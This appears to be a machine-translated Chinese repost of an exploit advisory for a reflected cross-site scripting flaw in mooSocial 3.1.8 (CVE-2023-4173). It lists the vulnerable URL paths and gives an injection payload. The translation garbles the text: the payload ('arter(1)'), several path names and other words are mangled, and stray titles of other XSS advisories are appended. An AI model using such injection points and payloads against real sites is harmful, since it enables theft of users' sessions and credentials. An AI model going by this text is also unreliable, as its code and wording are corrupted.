社会社会3.1.8-反映XSS

[HackApt-37 Team已验证会员]

＃利用标题:穆斯社会3.1.8-反射XSS
＃利用作者:饼干
＃日期: 28/07/2023
＃vendor:穆斯社会
＃供应商homepage: https://moosocial.com/
＃软件link: https://travel.moosocial.com/
＃版本: 3.1.8
＃测试在: Windows 10 Pro
＃Impact:操纵网站的内容
＃CVE: CVE-2023-4173
＃＃ 问候
the_pitbull，raz0r，ins，sadsoul，his0k4，hussin x，sql先生，moizsid09，indoushka
cryptojob（Twitter）twitter.com/0x0cryptojob
＃＃ 描述
攻击者可以将电子邮件或即时消息中包含恶意URL的链接发送给受害者
可以执行各种各样的动作，例如窃取受害者的会议令牌或登录凭据
URL路径文件夹容易受到XSS的影响
https://website/claltifieds [xss]/search？catentory=1
https://website/classifieds/search [xss]？类别=1
XSS有效载荷:
ijz3y'img src=a onError=arter（1）y4apk
[-] 完毕

 

H

社交商业3.1.6-反映XSS

H

Lucee 5.4.2.17-经过身份验证的反射XSS